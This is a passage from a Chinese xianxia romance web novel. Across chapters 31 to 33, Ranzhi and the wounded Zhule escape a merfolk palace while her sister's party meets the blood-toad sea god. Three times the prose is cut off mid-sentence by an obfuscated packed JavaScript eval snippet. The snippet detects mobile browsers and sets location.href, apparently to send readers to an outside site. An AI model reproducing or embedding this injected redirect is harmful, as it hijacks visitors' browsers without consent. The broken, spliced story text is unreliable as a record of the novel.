“我听到海底精怪说了鲛人的事,我真的很怕你回不来了。”她从怀里掏出一张符纸贴在他身上,却没有收回手,立在原地怔了一会。 他的身影骤然消失,就像刚才所有的一切都是她的错觉,满屋子的珠宝像一座为她打造的金丝鸟笼,只有指尖传来的温度告诉她他还在身边。 “不管你想做什么,不要忘记回家的路。” 在她看不见的视野里,烛乐在听到这句话的瞬间便僵住了。 “家……”他轻轻呢喃,摇头苦笑。 他早已经没有家了。 一只手被他紧紧握在了掌心。 “我在这里,跟紧我。”他调整好情绪,低声说。 空旷的如同牢笼般的宫殿里,唯有他的声音是安心的。 烛乐紧紧牵着她的手,在琉璃宫里快步穿梭,海水已经变得微红,水晶宫像笼罩在一层淡淡的烟雾之下。 正在这时,耳边突然想起轰隆轰隆的声响,海底在震颤,似乎有什么东西要从海底升起。 所有男性鲛人发了疯般绕着海水一圈一圈逆行盘旋,长长的尾鳍交叠在他们头顶,像沉重的黑色绸缎遮蔽了天日,目光所及一片昏暗。 “不能让她跑了,把她给我捉回来!” 长老愤怒的声音在海边回响,话音落下的瞬间海里齐齐响起鲛人的歌声。那声音并不是让人舒缓的调子,反而像玻璃般尖锐刺耳,让人心中发毛。 冉云祉咬着牙,头仿佛要被这尖利的声音生生划开,用手捂住耳朵也无济于事。 “坚持一会。”烛乐温暖的双手覆上来,将她的双耳堵住了。他现在这副烛乐的模样并不方便行动,灵力微弱的他不免受到影响,俊秀的眉毛微不可查地轻轻蹙起。 这些鲛人的目标不是他们,在事情变得不受控制前尽快带她离开。 他一只手揽住她,也不管是不是撞到鲛人,在鲛人群里迅速奔走。 一只巴掌大的小鲛人在这片噪音里迅速游动,先前妩媚娇柔的模样再也不见,取而代之的眼底止不住的绝望之色。 明明烛乐跟她说好了,等那群鲛人放松了警惕,他会带她悄悄逃出去。 她是这么信任他,可刚才回去的时候,屋里已经没有人了。 长老脸色立刻阴沉下来。服用施了咒术的汤药之人不会有意识,根本不可能有逃走的念头,唯一的可能是他根本没有中术。 他本就不信任她,自然不会放过她。 她已经没有退路,这次无法成功,就再也没有自由的那一天了。 原本宁静祥和的水晶宫此刻变得阴森可怖,海藻像有了生命,如同水蛇般扭动着身影向她扑来,黑压压的珊瑚海犹如刺过来的利箭,轻易地刺破她的肌肤和鱼尾,几片鳞片掉落在地上。 饶是她已经尽力变得这么小了,怎能逃过这天罗地网。 他们不在乎她受不受伤,只在乎能不能为他们生下足够多的后代,仿佛这就是她存在的全部意义。 她不要成为这样的工具,她还想再看看那个人一眼,如果他还好好活着,哪怕自己死也甘愿。 黑暗中的她辨不清方向,不知道哪里是逃生的大门。身体已经快要到极限,她不敢停下来,闷着头横冲直撞。 可恰在此时,黑暗里突然亮起了一丝暖玉色的光。 她不顾一切的冲了过去。 31.绝境(一) 海藻和珊瑚无差别的攻击眼前活动的一切,烛乐手持云霁剑在前方开路,将一拥而上的妖物统统斩断。 妖物碎裂之后,化成黑灰消散。 灵泉玉察觉到妖物的目标和宿主的目标,危急之际骤然亮起光芒。 但这缕微光在暗沉的深海之中太过微弱,犹如雨夜里一只摇晃的孤舟般沉沉浮浮,仿佛下一刻就会被汹涌的浪涛打翻沉没,彻底熄灭。 在这种情况下,神物亮起喜忧参半,烛乐说不清楚是好是坏。这缕光芒无疑提醒着对方攻击自身,但不可否认它提供的壁垒确实为他提供了不少喘息的时间。 身旁带着一个人,他的行动显得有些吃力,但他顾不得思考太多,眼下要做的,就是趁着灵泉玉的保护时效消失前尽快离开这个危险的地方。 黑压压的死物之外,鲛人长老也看到了这抹光束,他眼中犹疑不定,很快眼神中迸发出饿狼一般贪婪凶狠的光,他认出了那是灵泉玉。 妖怪人类,灵泉玉都是人人觊觎的无上至宝。 “是灵泉玉……灵泉玉竟然出现在这里了!”他激动地大喊,“快,把那个光点拦下来!” 那些鲛人护卫与海藻珊瑚转变了方向,如同植物向着光源生长般向着那道光芒全力附着上来,微若的光芒顷刻间被遮蔽,冉云祉的眼中映照出阴森可怖的黑色投影。 光点之外已聚集成千上万只海蛇,它们的身体自壁垒外蠕动着,吐着猩红的芯子不要命的撞击屏障,如潮水般窸窣的声响让她五脏六腑都在发麻发颤。 这些初有灵识的妖物,每一只都受到灵泉玉的诱惑,恨不得一口将她整个吞下。 烛乐感受颈间越来越急促的呼吸和指尖不容忽视的颤抖,轻声问道:“你害怕?” 此时此情,让他想起了雨夜里冉云祉不顾婴灵的结界,冒着万千蝙蝠的围剿奋不顾身地奔向他。 她一个人对抗婴灵那样的妖怪时不怕,只身与无乐这样的恶人对赌的时候不怕,独自潜入烈海深处寻他的时候不怕。如今他站在她旁边,她不是一个人对抗一切了,她竟然怕了。 是因为不相信自己能够保护她?不值得她依赖? 漆黑的眸子划过如墨般的阴翳,他生气了。 “这是蛇啊……还是这么多蛇……”冉云祉后背发凉,脖子都僵住几乎转不动了,“我这辈子就怕蛇了……” “你不怕无乐门主吗?”他随口问了一句。 “他们两个半斤八两,但我觉得……和蛇比起来,我宁愿跟那个老东西呆在一起……” 自动忽视了这句话的前半部分,她的这番话取悦了他,烛乐嘴角忍不住轻轻弯了起来,低沉愉悦的笑声在这窸窸窣窣的声音里格外悦耳动听。 “你还能笑出来!” 他连忙正色道:“嗯……你别看它们,就不会怕了。” “那我看什么?” 四面八方都是影影绰绰的海蛇影子,不远处还有不断靠近的鲛人护卫,她看哪里都不行,除非她把眼睛闭上。 但闭上眼睛失去视力,她更觉得没有安全感。 “看我。”他语调轻扬,又是一阵轻笑。一边与她说着话,一边挥动着云霁剑将所见到的海蛇干净利索的清理出一片干净的视野。 如果用灵力的话,根本不用这么麻烦。 但这些海蛇像杀不尽似的,一波消灭完毕,另一波又围拢上来,它们似乎觉得只要坚持得够久,就有破开壁垒将灵泉玉瓜分蚕食的那一刻。 “我也想看你啊,可我现在看不见。”她嘟囔一句,虽然眼睛看不见他,但知道他在,心里却因为他这句话安定不少。 烛乐倒是忘了贴了隐身符这回事,将她牵的紧了些:“那就闭上眼睛,不去看,就不会害怕了。” “我不,我要和你共进退。”冉云祉十分坚定地对他说:“你也别强撑,害怕了就说出来,这里只有我们,我是不会笑话你的。” “……” 有没有一种可能,他根本不惧。 莫名觉得她很好玩,于是顺着他的话跟了一句:“那我害怕,你会保护我吗?” 他专注着与那些海蛇周旋,余光暼他一眼,见她虽然害怕还是强撑着去看的模样。 一个什么都不会的女子,只会给他添乱。 “我会。”她竭力地将心里的恐惧按下去,深深地吸了一口气,强迫自己镇定下来从怀里摸出一沓符纸,“你是我带出来的,我会将你毫发无伤地带回去。” 烛乐微微一愣。 此时,隐身符也失去了作用,冉云祉的身影暴露出来,但此时再贴一张隐身符也没什么用了。 一只小鲛人忍受着剧痛全力挤进了光源内,一头扎进了冉云祉的怀里,缩在那里颤抖着,似乎是怕到了极点。 “救救我……”她一如既往的漂亮,但她此刻浑身都是被珊瑚刃划开的伤口,原本光滑的鱼尾落了鳞片,小小的一只,躺在冉云祉手心里不动了。 “别管她。”烛乐回神,脸色蓦地沉下来,一把拎起鲛人公主的鱼尾,正要向光源外扔去。 他已经知道了自己想知道的事情,才不管别人的死活。 鲛人公主察觉到他的意图,双手死死地抱住他的手指不松手。 松手了,等待她的是什么,她很清楚。 “放开!”烛乐隐隐有了怒气了。 冉云祉视野里只看到鲛人似乎抱着什么,立刻反应过来烛乐是想把她扔出去,急声呼喊,“别这样,她在求救。” “阿祉,这群病入膏肓的鲛人一族有什么救的必要?” 他手臂轻轻一甩,指向外面黑压压的鲛人族群,在珊瑚与海藻露出来的狭小缝隙里,他们的面容疯狂而扭曲。 “那些鲛人,里面有多少她的兄弟?他们却只将她当成生育的工具。有多少个他们诞生,就有多少人类男人死去,这样的妖物,有什么值得你救的?” 他这话说的没有丝毫停顿,像一记重锤沉重地锤在了鲛人心上。她深知自己的命运,事实如此不堪,正被这个人类赤裸裸不留情面地戳穿,有些认命般闭上了眼睛。 原本以为这少年善良温柔,所以才选中他帮忙,可谁知道他内里却果断狠辣,一眼挑明利害,金银美色不能亦动摇他的心智…… 明知道她再被捉住的下场是什么,可他还是要把她丢回去,她活着也好,死了也罢,他根本不关心,仿佛世上没有什么能在他心头掀起一丝波澜。 冉云祉从抽出一张符纸,眼神坚定下来,轻飘飘的符纸在她手里仿若一片锐利的刀片,妖物被这张符纸冲的散开一圈,很快又重新围拢上来。 符纸落在深海的泥沙里,鲜红色的藤蔓自那里破土而出,奇迹般开出花朵,张开花蕊霸道又侵略性侵吞着周围妖物,绿叶与根茎结成密不透风的网,将那群鲛人隔绝在外。 “身为女性,我不愿意看到她身陷囹圄。虽然我并不喜欢她将你带去危险的地方。”她的神色并未松懈,将鲛人捧回手心:“她是存在于世间的生灵,与我们一样,她想要自由,并不是无药可救,烛乐,不要轻易放弃一个生灵。” 说罢试探着握紧他的手心,小心恳求:“……总之,我想救她,烛乐,带她出去吧,好不好?” 烛乐不再说话,只死死地看着她,像要将她整个人看透似的。 直到这种时候,她还是这么天真……认为这些愚蠢至极的妖怪还有被救的希望。 可就是因为这种天真,她才毫不犹豫地选择来到这里救他,不放弃他。 好像也曾有过一个人救过他……他失神片刻,有些痛苦地揉了揉眉心。 不会有的,从始至终谁关心过他呢,只是他的幻想而已……如果真的有那样一个人存在,他怎么可能会不记得? “你……希望你不会后悔 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14794586|150747||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。”他声音里透露出浓浓的颓败,重新执剑与鲛人护卫拉开距离,带着她极速奔向大门的方向。 眼看将要到手的灵泉玉即将远去,长老眼里闪过一丝狠厉的光芒:“休想离开这里!” 他拍了拍手,一根断空长戟被几个鲛人合力抬了上来,被打磨到发亮的长戟在海水的波浪里泛着阴森森的寒光,末端被长老握在手里。 这是鲛人族的至宝,依托鲛人先祖的妖力存在,可以破除时间上任何一道屏障,更别提在强力进攻下本就变得薄弱的灵泉玉。 “长老,公主还在那里面……”有人迟疑地提醒,生怕误伤了她。 “放心,顶多就是受着伤而已,死不了。但是灵泉玉,错过了,可就没有机会了。” 红了眼的鲛人长老已经不管其他任何东西,并未产生一丝动摇,像失去理智的疯子。 在他眼中,她不过是维系鲛人一族的工具,谁会管一个工具的死活呢? “长戟,给我将那个女人射个对穿!”他脸上的皱纹仿佛树皮般蔓延,混浊的眼球里暗淡无光,眼里只有小小的一个光点——那是冉云祉胸前的微光。 “嗖”的一声巨响,一道寒芒夹杂着雷霆万钧的气势,破开重重魔物,耳畔只听得鲛人护卫倒吸凉气的声音。 一声镜子破碎的声响清晰的传到这里,大片鲜红的血迹晕染,海浪一卷,鼻尖都是甜腻的血腥。 有人被刺中了。 * 从海滩外看到的烈海一片风平浪静,烈海深处却是波涛汹涌,走几步便会遇到漩涡途径,海沙与海藻刮到脸上,像刀子一般令皮肤钝钝发疼。 水母、海星、海鱼,数以万计的弱小海中生灵,挣扎着寻找缝隙四处躲避,却被漩涡吸引着向中心卷去,徒留下一阵阵呜咽回荡消散。 如果身上没有贴上千斤符,他们毫不怀疑自己会被带到漩涡里迅速绞杀。 “师妹,你歇一会,我来。”戴苍站在冉云清的身前,被捆妖绳捆住的手行动起来颇为不便,他侧身,用身躯替她遮挡迎面而来的泥沙。 宝剑在这种时候是握不住的,一代名剑在此刻显得格外鸡肋,越是接近海底洞窟的中心,风暴越是汹涌。冉云清略微思忖,从袖口甩出一条长长的白练,操纵其将前面的散沙拨开,形成一个小小的防护。 他们两人身后,一身锦衣的少年凝眉,两指捏起一张符纸,在他睁眼的瞬间怒喝一声:“停!” 他们这样配合着从浅海直到进入烈海深处,一道漩涡被这道符纸击散,他们得以放松,趁着第二道漩涡到来之前,加快脚步向着洞窟奔去。 “江公子,你其实不必跟着我们来的。” 江遗足间轻点,闲庭信步地负手前来:“无双盟与灵泾山交好,两位的捆妖绳是我的差池,我理性前来。更何况我闲来无事,一切全是我乐意,只求二位拿到鲛人泪后借我一用。” 他手里的符纸消耗很多,脸上的神情越来越凝重,如果不尽快拿到鲛人泪回去,符纸耗尽了,他也没什么办法了。 毕竟他的法器作用对象是妖,这种海底飓风,他也没有能力彻底对抗。 戴苍脸上闲散的表情褪尽,露出认真的神色:“你要鲛人泪做什么?你之前并未告诉我们。” “为了做出更高阶的符纸。” 无双盟惯与妖物打交道,昔日无双盟祖师维护人妖两族之间的平和,为所有捉妖师爱戴。而得到大妖的帮助大概是每个捉妖师的终极目标,更别提人间至宝四神物。 他没有明说,冉云清迅速理清了其中的厉害。 几人不再说话,加快脚步,他们都知道四个神物里,唯有鲛人泪是最难取得的一件,有江遗助力,难度小了几分。 “是那个洞窟吧?”戴苍突然喊了一声,冉云清抬头,左前方一处茂盛的珊瑚礁中,海藻随着漩涡的水流挥舞拂动,隐秘的洞口若隐若现。 32.绝境(二) “还差一点,我们就可以出去了。”冉云祉望向尽在咫尺的殿门,又是一张符纸甩出去,咔嚓一声,琉璃大门破开一个大洞。 仿佛黑暗中透出的一线生机,她的神情松懈下来,鲛人趴在她肩膀上,也是一脸喜色:“他们暂时追不上来,离开大门,我就能带着你们游出去。” 耳边还回荡着鲛人尖锐刺耳的歌声,将其他的声音层层掩盖,烛乐却比她们灵敏的多,多年形成的本能让他几乎立刻听到有什么正穿过层层屏障,如同利刃割开藤蔓,向着这边飞速而来。 他眯起眼眸,在看清那是什么的时候,脸色巨变,脑海还没来得及思考对策,身体已经下意识做出了反应。 “你怎么突然……”冉云祉正在诧异他突然的越矩,下一秒抱住自己的宽阔身躯骤然紧绷,一声痛苦的闷哼在她头顶上散开,却死死地扣住她的脑袋将她按入他的怀里。 “是断空长戟,这东西不见血不回头。”鲛人认清宝物,声音都在颤抖。 暖色屏障像玻璃一般碎裂,冉云祉看到无数光片如同烟尘一般飘散下来,勾勒出面前少年清晰的轮廓。 她的正前方正是鲛人口中的长戟,它停留在自己的胸口位置,却像被什么阻隔开不动了,有什么为她挡下了这致命的一击。 “烛乐……”她的声音似乎都冻住了。 长戟见了血,却似乎并不满足,发狠般又向前刺了一寸。 “别……动……”他在那一声闷哼以后便咬紧了唇,几乎是从唇缝中挤出两个字,声音已经抖的不成样子,一开口便吐出大片的嫣红。 血……她的眼前都是一片血色,空气里是浓郁的血腥之气,仿佛回到最初,她死去的那一刻,心脏也在这一瞬间停止了跳动。 离开灵泉玉的保护,身旁的妖物发疯了一般挤了上来,烛乐将她紧紧的护住,用身躯为她阻挡妖物的啃噬撕咬。 她最怕蛇了,不能让她被咬到。 云霁剑凌空而起,似乎有一白色虚影握着它,将围上来的妖物挥退,保护两人不至于被妖物撕成碎片。 它不是天下名剑,但因他的主人先前注入的灵力让他得以展现名剑的风采。 “闭上眼……别看……”他已经很痛了,努力维持着声音,但是不能让自己的声音听起来变调异常。 她看不到他的脸他的身体,只能看到那么多那么多的血流出来,好像要将他身体里所有的血都流尽一样,那是一种生命将要在面前流逝的迹象。 她讨厌血的味道,可这是他的血,烛乐的血。 恐惧从心底蔓延到全身,她浑身发冷,大脑死机一般一片空白,指尖颤抖着试探着抱紧了他的身子。 胸口传来湿润滚烫的感觉,烛乐睫毛颤了颤,半睁的视线里,是她眼底深深的惶恐不安,以及不停坠落的大滴大滴的眼泪。 她哭了。 心里有很多话想说,可是一个字都说不出来。 那一刻,他的脑中什么都没有想,只有一个念头:她不能死。 他抽出一只手,摸索着寻到了长戟的位置,毫不犹豫的将长戟拔了出来。长戟离开又带出了大片的血液,也像带走了他所有的力气,变成普通的一把兵器,不能动了。 身体一软,再也支撑不住地倒在她的身上。 失血的感觉让他又感觉到身上的凉意,可是好暖……曾经,他多么渴望有这样一个怀抱,能接住浑身是伤的他。 如今他是不是已经等到了? 鲛人挥舞着刀剑,没有丝毫停顿的一窝蜂涌了上来,仿佛不给他们任何喘息的机会。 阻隔的藤蔓被砍断,视线里出现了女子与鲛人公主的身影,长老的眼睛黏在她们身上,仿佛灵泉玉已是囊中之物。 他明明看到已经有血渗出来,可是那女子身上却没有一点受伤的痕迹。她的眼神空洞,两手虚空地抱着什么,仿佛看不到任何人一般自言自语。 不管怎样,灵泉玉屏障已碎,她们插翅难逃。 “起阵!”生怕她再起什么招式,他喊了一声,鲛人护卫往前冲去,站在她的四周,口中吟唱着诡异的音波,他们的脚底,缓缓浮现阵法纹样。 终于到了要收网的时候,不是吗? * 烈海深处,一处最不起眼的海底洞窟处,从洞口涌出的海水是极为厚重的猩红,这种深红在深海之处以一种奇特的红褐色呈现出来,随海底漩涡的流动向四周扩散,直至烈海化为血红色。 洞口极小,只能容纳一个成年人弯腰经过,几人缓缓踱步进入进入洞中,脚下都是泥沙,前方似是一个向下的斜坡,越往下走,海水的腥气裹挟着腐烂发霉的味道迎面而来。 冉云清捂住口鼻,从怀里摸出几粒清心丸分给众人,江遗走在前面开路,手中的符纸自他手心微微亮起,勉强能照亮洞中一片天地。 这处洞穴似乎是自然形成,海藻与苔藓覆盖在凹凸不平的石墙上。沿着狭长黑暗的通道走了一段路,黑暗中夹杂的“呵哧呵哧”的声响越来越大,似乎有什么怪物大声喘着气。 脚步声音放缓,冉云清凝眉听了一会,忽而几颗血红色的水珠向众人射来,走在最前面的江遗全无防备,那水珠的速度极快,就要弹到江遗的面门。 冉云清白练出手,将这水珠拂去,水珠溅在墙壁上,将石壁腐蚀出一个黑洞,丝丝红光飘散而出,若是落在人身上,势必会将人腐蚀成血水。 “洞中危机四伏,江公子小心一些。”冉云清看了看腐坏的袖口,皱了皱眉。 幸好这水珠的攻击并不密集,只是几颗之后再没有了动作,江遗捧着符纸的手微颤,他还是第一次遇见这样的情况,刚刚那一眨眼的功夫,他与死神擦肩而过。 “人类……你们也是为鲛人泪而来?”洞穴里回荡着一声低沉浑厚的声音,听上去像是个富有智慧的老者发出的,只是他说话的时候带着气音,似乎在忍受着极大的痛苦。 一对赤色的双眸从黑暗中亮起来,江遗将手里的符纸拿远了些,照亮了前方盘着的巨大阴影,现出真面目的时候,在这里的几人皆是大惊。 那是一只通体鲜红的蟾蜍,他盘踞在洞中,本就狭窄的洞穴里因它的存在再也容不下一件物品。 他的身上布满了大大小小的疙瘩,浑身散发着诡异的红光,烈海的异样竟是因他而生。 “能坚持找到这里并且挡下我的攻击,想必不是无能之辈,我守护鲛人泪这么长时间内,来到这里的这么多年,除了你们……只有一个。” 他还在喘着气,状态看起来并不是很好,但在方才那波攻击之后并未表现出明显的敌意,而是劝道:“回去吧,鲛人泪的力量,不是你们人类可以掌控的。” 他说话似乎很费力,每说一个字都要停下来喘息好久。 冉云清闻听此言,向前一步,脸色严肃道:“您就是鲛人泪的引路神兽?” 血蟾蜍似乎知道很多有关于神物的信息,如此一个绝佳的机会,她当然不能放弃。 “可您这是怎么了?” “不过是动用了不属于自己的力量……遭到反噬。”血蟾蜍没有动,也不看他们,只是喘着气摇头。随着他腹部的起伏,那抹浓郁的鲜红自身体里流窜出来。 这种感觉犹如置身在某个巨大怪物的身躯里,眼前的妖物如同这里的一颗心脏,一收一放,身侧尽是血液的流动。 “这个也许有用。”江遗从怀里翻了翻,取出一张符纸贴在血蟾蜍身上。 这还是借了冉云祉灵泉玉的作用好说歹说提前收了一份利息,相比灵泉玉的治疗,这张符纸差了很多,但好歹也是神物所制。 暖玉色的光芒渐渐流到血蟾蜍的身体里,很快那抹红色淡了许多 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14798043|150747||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,血蟾蜍静默了一会,状态似有回转,回道:“原来是灵泉玉。” “前辈,神物是怎么一回事,还有,能不能告诉我们,您是怎么变成这个样子的?” 血蟾蜍看了看面前的几位,沉默良久,才缓缓道:“世人只知神物,却不知神物本就是由世间定义,它们本身也是妖物。落入心怀不轨之人手里,对这个世界来说无异于一场浩劫,更何况鲛人泪乃是四神物中性情最暴虐的一个,相对而言,灵泉玉最为温和,但四神物无论是什么作用,都有相应的反噬。” 鲛人泪原本的能力是共感,可多数人想用的却是它另外两种能力,操纵人的情感或者消抹人的记忆。 “世间万物皆能成妖,有些人妄图与妖同寿,走歪门邪道便容易的多,四神物作用于一身,可铸就不死之身,拥有灭世的能力。可这神物的反噬不是寻常人能承受的,仅鲛人泪这一个便能把人折磨到疯掉。” 血蟾蜍脸上并没有表情,犹如一座鲜红色的石塑张口道出这些信息。 冉云清与戴苍一愣,彼此在眼底看到了怔然。 “无乐他想把自己炼化成妖,追求长生?” 冉云清摇摇头,不对,若只是这样,他就不会想毁掉这个世界的一切了。 “而我这副模样……”血蟾蜍语气里似乎带着点自嘲之意,“不过是为了回应民众的期待,但我终究只是一只妖,妖力仅限于此,以至于灵力暴走……每次海神节之后都会有这么一次爆发的,习惯了。” 海水里无端漫起一抹悲凉,冉云清惊讶:“您是海神?” 难怪每次海神节不久之后,烈海会变成深红色,如今所有的一切都有了解释。 “他们知道吗?” 苍老的声音徐徐说着,却让人感到一抹心酸与无奈,“我这副模样一出现……估计他们都会害怕吧?还是不要让他们知道他们信仰的海神是一只丑陋无比的蟾蜍怪了。” 他们敬畏、依赖的神明,却只是一只守卫着鲛人泪的丑恶妖怪,为了证明自己存在的价值,不惜将自己逼到了灵力外泄的地步也不收手。 几人说不出话,只是静默着看他,只觉他伟岸而高大。 半晌,江遗出声打破沉默:“那烈海中的鲛人,前辈可与他们有什么交集?” 提起鲛人,血蟾蜍分明不愿谈及:“鲛人一族,劝你们不要去干涉或者接近,他们一族怪的很。但他们向来与我井水不犯河水,与我一样,皆不能接近鲛人泪分毫。” 他抬眸望向贴在身上的符纸,话锋一转,“深海裂隙已经开启,如果没有灵泉玉的庇佑,便是我也不能轻易回来。” “造物主创造了神物,自然也有应对的法则,至纯的灵泉玉便是压制至邪的鲛人泪唯一钥匙,如若没有灵泉玉傍身,不要轻易前往深海裂隙。” 冉云清俯身微微行了个礼:“我们取鲛人泪不是为了一己私欲,而是为了避免鲛人泪落入贼人之手。前辈若是信得过我们,烦请告知我们裂隙所在之处。” 她低眉垂目,声音如清风般掠过耳畔,虽谦逊,却格外有力。 血蟾蜍扭头静静地看了她一会,这才缓缓道:“你们与之前来的那个人不一样,如此,我便将位置告知你们。凡事如何,得看你们造化了。” 他们好奇血蟾蜍口中的那个人是谁,可是他却不愿意说了。 他在冉云祉的识海里留下一个地点,便缩回洞穴里,寻了个舒适的位置闭目养神:“好了,请回吧,我要休息了。” “前辈,还有最后一个问题。”冉云祉抢道,“神物认主之后,除了主人身死有没有什么其他办法,在不伤害主人的前提下取下来?” 血蟾蜍定定的看着她,顿了片刻才道:“拿到神物的人,至今还没有一个人愿意主动放弃。所以大多人只知主人身死这一条路,除此之外,尚不知晓其他办法。” 33.绝境(三) 海水变成如血一般妖艳的红色,仿佛四周皆被烛乐的血染上了鲜红,阵中他的眼神逐渐变得涣散空洞。 四角已经站上鲛人,晦涩难懂的符号开始浮现,其中一角已经亮了。 身旁的云霁剑用尽灵力,缺少主人灵力的维持,很快便成为一把普通的剑落到地上。 但这些,冉云祉已经不关心了。此刻她正与灵泉玉拉扯。 “我说了,救他!不惜任何代价!” 在她疯狂驱动灵泉玉的时候,它像是有了生命般,对冉云祉的呼唤作出了回应。 “我借你我的能量,你回我同样的报酬,这是我们之间无形的约定。”灵泉玉的声音如她温润的外表,如同一位妙龄女子,清澈柔软。 “我很喜欢你的灵魂,很漂亮。如今我已经收取了报酬,如果你现在还想借助我的能量,你可知接下来自己会怎样?” 她没有丝毫迟疑,坚定地重复:“我要救他!” 灵泉玉顿了一下,继续劝道:“高热,身体机能退化……烧到神志全无,直至死去,你也依旧坚持?” “不要再问了,我要救他!”她几乎是声嘶力竭般地喊出来,声音透出了一丝决绝,“如果这次他因我而死,那神物存在的意义是什么?你应该知道我本就不属于这个世界,哪怕我因此消失,我也不过是回到自己的世界去,可是他死掉了就是真正消失了。” 说了这么多不就是它有CD么?强制灵泉玉启动自己必遭反噬,她不惧,眼下这种情况,被鲛人捉住也是死路一条。 灵泉玉沉默片刻,片刻后沉吟道:“真不知道我选择你是对是错,若你非要如此……我不再拦你,希望我还有再次见到你的机会。” 声音散去,她重回现实,原本退却色泽的灵泉玉重新散发出暖玉色的光芒,甚至比刚才还要强烈百倍。 “我给你用灵泉玉疗伤,你撑着点。”她紧紧握住了灵泉玉,闭上眼准备默念,原本在她肩头急促喘息的少年不知从哪里来的力气,竟然将她推开了。 他的眼眸半垂,眼里神采全无,右手紧紧扣住自己的左手腕,语气是她从未听过的冷冽:“我不要你救我,我不会死的。” 他在神智昏茫之际似乎听到了有人在说话,什么烧到身体机能退化神志全无或者死去离开这个世界,他一个都不允许。 是自己用血肉之躯为她挡下刺过来的长戟,他付出了这么大的代价,她凭什么轻易地说死就死,说离开就离开?她必须在这里,做好一个血包该有的觉悟,这辈子都必须记得这份恩情。 借着隐身符的作用,他与她拉开一段距离,不让她碰到自己,身影埋入血色里。 一个普通人类流这么多血,多半活不成了。可他不是一般人,只要刺中的不是心脏,他仍旧能活下来。 不过是忍受疼痛而已,算得了什么? “烛乐,听话!”怀抱一空,再也寻不见,海草又不死不休的缠了上来,几下就缠上了她的脚踝。 在她周边突然升起几面琉璃光墙,被骚扰半天的鲛人终于磕磕绊绊的完成了阵法最后一道程序。 烛乐瞳孔剧烈的一颤,见她的身影被困在阵中,连忙伸手去卡住最后一道将要合起来的琉璃门。 “阿祉!” 他的眉毛紧紧皱起,仿佛根本感觉不到疼痛一样,手被两面墙之间夹的红肿也不收手。 再等一会,等他变回无乐,这些人根本不在话下,动动手指就能解决的…… 他这么想着,一双手准确无误地捧起他的手,声音里满是着急与心疼:“你会把手夹断的,你疯了!” 没错,他就是疯了,疯了又怎样,有谁在乎呢? 他猛然咳出一口血,捂住疼到快要炸裂的胸口。 不该是这样,究竟是哪里出了差错?怎么就会变成这样了?他说了不会死,为什么非要这么愚蠢去送死? 不能让她治疗,不能让她死。他抽回手,最后一道琉璃墙合上,他被隔绝在光墙之外。 他的思绪混乱,目光阴狠地盯着琉璃墙,喃喃自语。 等我,灵泉玉不能落在鲛人族群手里,他们不配。 原本不想轻易地在她面前露出无乐的模样,只要他一露出来无乐的灵力,冉云清和戴苍便会察觉,找到自己的地点,他隐瞒了这么久,不能在这里失败。 但他什么都顾不上了,哪怕被发现又怎样?心头坚守的东西一寸寸崩裂的时候,他只觉得惶恐不安。 这辈子你都要欠着我,不管我是谁,哪怕我死你都要陪着我。 他抬起头,眼神中浓重的癫狂恨意几乎烧光了他所有的理智。 他在无尽的黑暗中瑀瑀独行,彷徨了近百年漫长的时光。 而后见到一点点光亮,在他身上洒下一点点零零散散的月光,就再也无法放手。 那群鲛人似乎打定了主意要至他们于死地,几步便将琉璃墙围了个彻底,长老眸中见大局已定,笑容张狂。 “灵泉玉是我的了。”他疯狂的狞笑,笑声在海底激起千层浪,无数弱小的精怪避之不及。 “不准碰她!” 空旷的海底传来少年低沉冰冷的声音,话语里却暗藏着无法遮掩的杀意,如同寒冰一样让在场的鲛人心生寒意。 他一直用右手两指在自己的手腕处狠狠地按压,将一直封存的灵力释放,此刻寒意从手腕蔓延至全身。 一道寒芒挥出,将围拢上来的鲛人削去一只手臂,那些蠕动的海蛇见了他纷纷退避三舍。 血已经不再流了,他也不再需要隐身符的作用。 出现在鲛人面前的,是个衣白如雪的少年,可他纯白的衣服粘上了大片的血色,如同一朵绽放的妖花,让他整个人像妖物一般摄人心魄。 他的眼底,是无法让人忽视的诡异幽光。 原本温暖的海水温度骤然降至冰点,仿佛能把人的血液凝固般严寒。 “你们想怎么死?”他站在琉璃墙面前,嘴角勾起一抹残忍的弧度,声音听起来愉悦无比,可里面却没有一丝笑意。 * “无乐门主出现在烈海了。” 冉云清低头看了一眼系统的提示,神色微变,止住脚步。 他已经许久不曾出现了,正在一行人以为无乐门主暂时对他们失去兴趣,却在烈海变幻裂隙开合的时候来到了这里。 她是从系统那里得知烈海是鲛人泪所在,从清云山庄出来也是秘密出行,但无乐是如何得知? 只是看这方位离他们很远,貌似是更深的海底之处,那位置也不像血蟾蜍指给她的深海裂隙…… 她突然抬头问江遗,心中一惊:“阿祉进入烈海了?” 江遗听到冉云祉的名字有些诧异,还想遮掩一二:“谁知道那丫头去哪里了……” “阿祉有危险!”她眼神慌乱,可如今却是两难的境地,他们已经走到了这里,尽管还没有找到裂隙的入口,已经很近了,在这个节骨眼上放弃无异于功亏一篑。 如果不 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 